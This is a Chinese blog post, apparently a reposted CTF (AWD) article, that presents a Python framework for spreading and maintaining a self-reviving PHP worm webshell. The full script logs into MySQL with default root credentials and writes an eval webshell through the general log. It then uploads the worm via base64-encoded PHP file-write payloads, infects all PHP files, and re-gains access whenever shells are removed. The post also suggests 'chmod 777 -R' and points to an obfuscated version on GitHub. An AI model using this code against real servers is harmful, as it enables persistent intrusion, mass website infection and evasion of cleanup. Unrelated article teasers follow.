百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 热门文章 > 正文

基于AWD比赛的蠕虫webshell(二)

bigegpt 2024-08-12 14:11 8 浏览

原创:3s_NWGeek合天智汇

原创投稿活动:

http://link.zhihu.com/?target=https%3A//mp.weixin.qq.com/s/Nw2VDyvCpPt_GG5YKTQuUQ

0x00 python维持复活框架

一个蠕虫webshell只是相当于一枚好的子弹,我们还需要配置一把枪来搭配使用,那么如何做到我们落地98k,别人落地还要慢慢捡枪才能吃鸡呢。 上篇只是的简单执行命令的客户端,但下面这个是基于这个蠕虫webshell的python维持复活框架,大致思路是这样的。

0x01 webshell特性

首先回顾一下最终版蠕虫webshell的特性如下:

  1. 递归扫描所有web目录及文件,全部扫到的php写入webshell
  2. 网站全部php可作为webshell连接执行命令
  3. 不带参数请求又可以正常访问原页面,不影响访问
  4. 所有web路径目录写入单独一个特定webshell
  5. 判断是否写过不再重复写入
  6. 所有php页面都可以互相复活蠕虫webshell
  7. 蠕虫webshell返回所有php文件url地址
  8. 蠕虫webshell发送返回数据传输加密
  9. 数字签名校验执行、5秒后不可重放
  10. 页面功能性可控(可以使全部php原有功能失效,只剩下webshell功能)
  11. 前端互相复活以及反渗透
  12. 适配meterpreter连接
  13. 加密混淆

具体的蠕虫webshell代码详情可以参考上一篇文章:基于AWD比赛的蠕虫webshell(一)

0x02 流程

根据以上蠕虫webshell特性我们可以设计一个框架出来使蠕虫从生成到维持最后互相复活,如果都被删了或者对手重置环境,就自动快速重新getshell再次复活。

?

简单来说就是,python有技巧地批量请求所有靶机ip。只需编写getshell的模块,模块返回一个蠕虫webshell的url,就会自动本地传播感染所有php文件,即使比赛对手重置环境会重新getshell再次感染,删掉其中一个马会使用其他被感染的马复活。 如果在代码最后面加个exit();全部php页面将会失效只剩下webshell功能。(适用于登山夺旗模式比赛)因为比赛环境实在太多突发状况,我认为已经考虑到比较多出现的情况就是超时,webshell失效,漏洞修补完成,上马后别人删所有文件等等,但不排除还会有其他错误使这个py跑崩的情况,目前没发现。

0x03 代码解析

框架中假设这个情况是数据库的root/root密码getshell。并且在自己awd服务器查到web绝对路径是/var/www/html(比赛时靶机大家都一样,可以查看自己的绝对路径),我们的getshell方式是数据库日志写shell,然后通过shell上传蠕虫webshell,再维持权限和复活。

于是有了以下的代码,要结合上面的思路图来看。

#!/usr/bin/python # -*- coding: UTF-8 -*- # made by 3s_NwGeek import requests,random,MySQLdb,re,base64 import time from gevent import monkey from gevent.pool import Pool from bs4 import BeautifulSoup from urllib import unquote monkey.patch_all() passwd = 'admin'#这是蠕虫webshell的密码 username="root"#数据库名一定要root权限才可以有效写文件 login_psw="root" webshell_path= 'http://TARGET_IP/service.php'#要跟查询路径的文件名相同!!!!!!!!! webshell_psw='a111' localfile = 'C:\Users\\3s_NwGeek\Desktop\\light.php' # 本地待上传的马文件名 #Secure_file_priv <5.5.53可以直接loadfile读flag,然后命令行curl提交 # #路径要改,log_file = 'C:/phpstudy/WWW/test1.php'一定要跟上面webshell_path保持统一文件名 webroot='D:/installed_software/phpstudy/WWW' cmd='del %s/service.php'%webroot #数据库要执行的命令 sqlquerys=('''select @@version; set global general_log = off; set global general_log = on; set global general_log_file = '%s/service.php'; select "<?php phpinfo();eval($_POST['a111']);exit();?>"; set global general_log = off; '''%webroot).splitlines() #TARGET_IP不用改,会在函数中替换,填多几个php作为备用访问 bakup_webshell_url='''http://TARGET_IP/index.php http://TARGET_IP/light.php'''.splitlines() #批量目标主机,格式127.0.0.1:80 targets=open("C:\Users\\3s_NwGeek\Desktop\\target.txt").read().splitlines()#批量目标 ##只需填上面的部分即可 localfile_content = open(localfile, 'rb').read() def main(target): while True: usual_get(target) webshell_url=upupup(target) #读取url php -loadip 、reupload、get ?_、norespond、random get # print webshell_url,'testing!!!!' if not webshell_url: print 'if not webshell_url and continute' continue elif 'http' not in webshell_url: time.sleep(3) # print "主循环一次" print 'elif http not in webshell_url:' continue tar,res=maintain_webshell(webshell_url,target) if len(res)>0: random_get(target,res) else: # print len(res),res pass time.sleep(5) # print "主循环一次" #getshell函数,框架要求return蠕虫webshell的url即可 def upupup(target): try: conn = MySQLdb.connect(host=target, user=username, passwd=login_psw,port=3306,connect_timeout=1) print target,':login scceuss' time.sleep(0.5) cursor = conn.cursor() # 使用execute方法执行SQL语句 # cursor.execute('set password for root@localhost = password("%s"); '%change_pwd) for sql_q in sqlquerys: cursor.execute(sql_q) time.sleep(0.5) data = cursor.fetchone() if data: print "%s return : %s " % (target, data) # 使用 fetchone() 方法获取一条数据 # 关闭数据库连接 conn.close() reg = ".*/([^/]*\.php?)" w_path = webshell_path.replace('TARGET_IP', target) print w_path match_shell_name = re.search(reg, w_path) if match_shell_name: shell_name = match_shell_name.group(1) # 1.php shell_path = "" try: data = {} data[webshell_psw] = '@eval(base64_decode($_POST[z0]));' data['z0'] = 'ZWNobyAnIS1fLSEtXy0hJy4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLichLV8tIS1fLSEnOw==' shell_path = re.findall(re.compile(r'\!-_-\!-_-\!.+\!-_-\!-_-\!'), requests.post(w_path, data).text.strip())[0].replace('!-_-!-_-!', '')#获取绝对路径 # print shell_path target_path = shell_path.split(shell_name)[0].replace('TARGET_IP', target) + '/.Conf_check.php' # 获取上传绝对路径文件地址 # print 'target_path:',target_path target_path_base64 = base64.b64encode(target_path) # print w_path,w_path.split(shell_name) target_file_url = w_path.split(shell_name)[0].replace('TARGET_IP', target) + '/.Conf_check.php' # 上传url地址 # print 'target_file_url:',target_file_url data = {} data[webshell_psw] = '@eval(base64_decode($_POST[z0]));' data[ 'z0'] = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pOwokYz1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejIiXSk7CiRidWY9IiI7CmZvcigkaT0wOyRpPHN0cmxlbigkYyk7JGkrPTEpCiAgICAkYnVmLj1zdWJzdHIoJGMsJGksMSk7CmVjaG8oQGZ3cml0ZShmb3BlbigkZiwidyIpLCRidWYpKTsKZWNobygifDwtIik7CmRpZSgpOw==' data['z1'] = target_path_base64 data['z2'] = base64.b64encode(localfile_content) # print 'webshell_path:',w_path,data requests.post(w_path , data).text.strip() if 'check_url' in requests.get(target_file_url + "?_").content: print target,':getshell success!!!!!!!!!!!!!!',excmd(target_file_url, passwd, cmd, encoding='utf-8') return target_file_url.replace('TARGET_IP', target) except Exception as e: if 'list out of range' in str(e): print target,'日志获取根路径错误:target_path' print e pass except Exception as e: print target+' is no vul:','有可能输入格式错误',e def maintain_webshell(webshell_url, target, Timeout=5):#检测函数,返回检测目标,检测结果 # print "进入maintain_webshell()" head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0'} try: r=requests.get(webshell_url + '?_', headers=head,timeout=5,proxies={'http': 'http://127.0.0.1:8080'}) # print r.content # html=BeautifulSoup(r.content.decode('gb2312','ignore'),'lxml')#注意根据实际情况编码 html = BeautifulSoup(r.content, 'lxml', from_encoding="utf8") # 注意根据实际情况编码 checks_arr = html.find_all(attrs={'id': 'check_url'})#获取url if len(checks_arr)<2:#爬取失败重传马 print target,"%s 获取phpurl:%d 状态码 %d webshell失效,正在尝试重传webshell\n" % (webshell_url,len(checks_arr),r.status_code) time.sleep(0.5) webshell_url, check_res=maintain_webshell(upupup(target), target)# # usual_get(target) else: check_res = [] for check_str in checks_arr: check_res.append(check_str.string) print "权限维持成功:",target,len(check_res),webshell_url # print "跳出maintain_webshell():find_allphp" return webshell_url, check_res except Exception as e: if 'timeout' in str(e): RCE_res=excmd(webshell_url, passwd, 'echo testRCE') if RCE_res: print target,':执行命令成功,但感染超时,请使用轻便版--------->',RCE_res return webshell_url,bakup_webshell_url else: print target+':执行命令失败,可能权限不足感染失败,或者php遍历函数被禁,or 主机连接失败' print target,'err from maintain_webshell',e # print "跳出maintain_webshell():err" return webshell_url,[] def random_get(target,res): try: # print "进入random_get" buff=res while len(res)>1: ran_url=random.sample(buff,1)[0] ran_url, res = maintain_webshell(ran_url, target) if len(res)<2:#失效情况下 random.shuffle(buff) for url in buff: url, res = maintain_webshell(url, target) if len(res)>2: buff=res break print target,'该webshell失效,正在尝试缓存buff' elif len(res)>=2:#成功情况下 buff=list(set(buff+res)) # print buff print len(buff) time.sleep(3) else: print "random_get——res:",res,"buff:",buff usual_get(target) # print "跳出random_get()"# print '权限维持成功:', len(res),r, res except Exception as e: print '%s "err from random_get":上传webshell_url错误!:%s'%(target,e) pass def usual_get(target): try: # print "进入usual_get()" base_url='http://'+target+'/.Conf_check.php' w_url,res=maintain_webshell(base_url,target) if len(res)>1: # print res random_get(target,res) # print "跳出usual_get()" except: pass ################以下为命令执行函数 def getSerTime(url): ser_time_format = '%a, %d %b %Y %H:%M:%S GMT' head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0'} r = requests.get(url, allow_redirects=False,headers=head,proxies={'http': 'http://127.0.0.1:8080'}) if r.headers['Date']: stimestrp = time.strptime(r.headers['Date'], ser_time_format) stime = time.mktime(stimestrp) + 60 * 60 * 8 # GMT + 8 时区 timeskew = int(time.time()) - int(stime) return timeskew else: return None # 加密 def encrypt(string, salt, encoding='utf-8'): estring = '' b64string = base64.b64encode(string.encode(encoding)).decode('utf-8') for n, char in enumerate(b64string): estring += chr(ord(char) ^ n % salt) return estring # 解密 def decrypt(estring, salt, encoding='utf-8'): data=estring[::-1].replace('cAFAcABAAswTA2GE2c','i').replace(':kcehc_revres','=').encode('unicode_escape').decode("string_escape") string=unquote(base64.urlsafe_b64decode(data)) # string=unicode(string, "gb2312").encode("utf8")#有中文乱码去掉这个注释 return string # 命令执行 def excmd(url, passwd, cmd, encoding='utf-8'): try: timeskew = getSerTime('/'.join(url.split('/')[:-1])) # 校对服务器时间,防止时间差造成API校验失败 nowtime = int(time.time()) if timeskew == None: print('检查服务器时间出错,请手动确认服务器时间!') # 手动获取服务器时间戳,并保存到servtime变量中,int类型 servtime = time.time() nowtime = servtime else: nowtime -= timeskew # 开始发起请求 passwd = md5(passwd.encode('utf-8')).hexdigest() salt = int(random.random() * 100) ecmd = encrypt(cmd, salt) sign_tmp = ecmd + passwd + str(nowtime) + str(salt) sign = md5(sign_tmp.encode('utf-8')).hexdigest() parameters = { 'time': nowtime, 'check': ecmd, 'salt': salt, 'sign': sign } head = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0'} r = requests.get(url, params=parameters, headers=head,proxies={'http': 'http://127.0.0.1:8080'},timeout=3) # r = requests.post(url, data=parameters, headers=head, proxies={'http': 'http://127.0.0.1:8080'}), if '0:' in r.text:print '执行成功:', res = decrypt(r.content.decode('utf-8').replace('0:',''), salt, encoding) return res except Exception as e: pass print(url,'参数配置错误,连接异常err:%s'%str(e)) # traceback.print_exc() if __name__ == '__main__': # main(target) pool = Pool(len(targets))#批量 pool.map(main, targets)#一个线程一个target

效果如下gif:

?

0x04 框架通用getshell函数编写

有了这个框架,除了数据库写shell当然有很多getshell的方法,于是有了对应的脚本,通通写好。 可以把你getshell的方法写到upupup函数就ok了,最终return一个蠕虫webshell url运行即可。

  1. Getshell模块可以改为任意方式getshell填充到upupup函数里
  2. 会感染所有php
  3. 路径文件出现中文可能报错提示,但不影响维持运行
  4. 删除每个目录下的单独马会复活
  5. 直到所有被感染过的所有php都无法访问会重新getshell

配合批量命令执行如以下gif:

?

0x05 缺点与不足

很多时候都是权限造成的写入失败,有命令执行的时候建议chmod 777 -R *,再curl -o 落地会增加成功几率。

0x06 蠕虫webshell最终版

蠕虫webshell代码详情可以参考上一篇文章《基于AWD比赛的蠕虫webshell(一)》,但实际我最终在awd比赛中用的是混淆版本,对方很难短时间内解密,已上传至github:https://github.com/3sNwgeek/awd_worm_phpwebshell_framework/,最后祝大家年末比赛顺利。

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

相关推荐

有些人能留在你的心里,但不能留在你生活里。

有时候,你必须要明白,有些人能留在你的心里,但不能留在你生活里。Sometimes,youhavetorealize,Somepeoplecanstayinyourheart,...

Python学不会来打我(34)python函数爬取百度图片_附源码

随着人工智能和大数据的发展,图像数据的获取变得越来越重要。作为Python初学者,掌握如何从网页中抓取图片并保存到本地是一项非常实用的技能。本文将手把手教你使用Python函数编写一个简单的百度图片...

软网推荐:图像变变变 一“软”见分晓

当我们仅需要改变一些图片的分辨率、裁减尺寸、添加水印、标注文本、更改图片颜色,或将一种图片转换为另一种格式时,总比较讨厌使用一些大型的图像处理软件,尤其是当尚未安装此类软件时,更是如此。实际上,只需一...

首款WP8.1图片搜索应用,搜照片得资料

首款WP8.1图片搜索应用,搜照片得资料出处:IT之家原创(天际)2014-11-1114:32:15评论WP之家报道,《反向图片搜索》(ReverseImageSearch)是Window...

分享一组美图(图片来自头条)(头条美女头像)

...

盗墓笔记电视剧精美海报 盗墓笔记电视剧全集高清种子下载

出身“老九门”世家的吴邪,因身为考古学家的父母在某次保护国家文物行动时被国外盗墓团伙杀害,吴家为保护吴邪安全将他送去德国读书,因而吴邪对“考古”事业有着与生俱来的兴趣。在一次护宝过程中他偶然获得一张...

微软调整Win11 24H2装机策略:6月起36款预装应用改为完整版

IT之家7月16日消息,微软公司今天(7月16日)发布公告,表示自今年6月更新开始,已默认更新Windows1124H2和WindowsServer2025系统中预装...

谷歌手把手教你成为谣言终结者 | 域外

刺猬公社出品,必属原创,严禁转载。合作事宜,请联系微信号:yunlugongby贾宸琰编译、整理11月23日,由谷歌新闻实验室(GoogleNewsLab)联合Bellingcat、DigD...

NAS 部署网盘资源搜索神器:全网资源一键搜,免费看剧听歌超爽!

还在为找不到想看的电影、电视剧、音乐而烦恼?还在各个网盘之间来回切换,浪费大量时间?今天就教你如何在NAS上部署aipan-netdisk-search,一款强大的网盘资源搜索神器,让你全网资源...

使用 Docker Compose 简化 INFINI Console 与 Easysearch 环境搭建

前言回顾在上一篇文章《搭建持久化的INFINIConsole与Easysearch容器环境》中,我们详细介绍了如何使用基础的dockerrun命令,手动启动和配置INFINICon...

为庆祝杜特尔特到访,这个国家宣布全国放假?

(观察者网讯)近日,一篇流传甚广的脸书推文称,为庆祝杜特尔特去年访问印度,印度宣布全国放假,并举办了街头集会以示欢迎。菲媒对此做出澄清,这则消息其实是“假新闻”。据《菲律宾世界日报》2日报道,该贴子...

一课译词:毛骨悚然(毛骨悚然的意思是?)

PhotobyMoosePhotosfromPexels“毛骨悚然”,汉语成语,意思是毛发竖起,脊梁骨发冷;形容恐惧惊骇的样子(withone'shairstandingonend...

Bing Overtakes Google in China&#39;s PC Search Market, Fueled by AI and Microsoft Ecosystem

ScreenshotofBingChinahomepageTMTPOST--Inastunningturnintheglobalsearchenginerace,Mic...

找图不求人!6个以图搜图的识图网站推荐

【本文由小黑盒作者@crystalz于03月08日发布,转载请标明出处!】前言以图搜图,专业说法叫“反向图片搜索引擎”,是专门用来搜索相似图片、原始图片或图片来源的方法。常用来寻找现有图片的原始发布出...

浏览器功能和“油管”有什么关联?为什么要下载

现在有没有一款插件可以实现全部的功能,同时占用又小呢,主题主要是网站的一个外观,而且插件则主要是实现wordpress网站的一些功能,它不仅仅可以定制网站的外观,还可以实现很多插件的功能,搭载chro...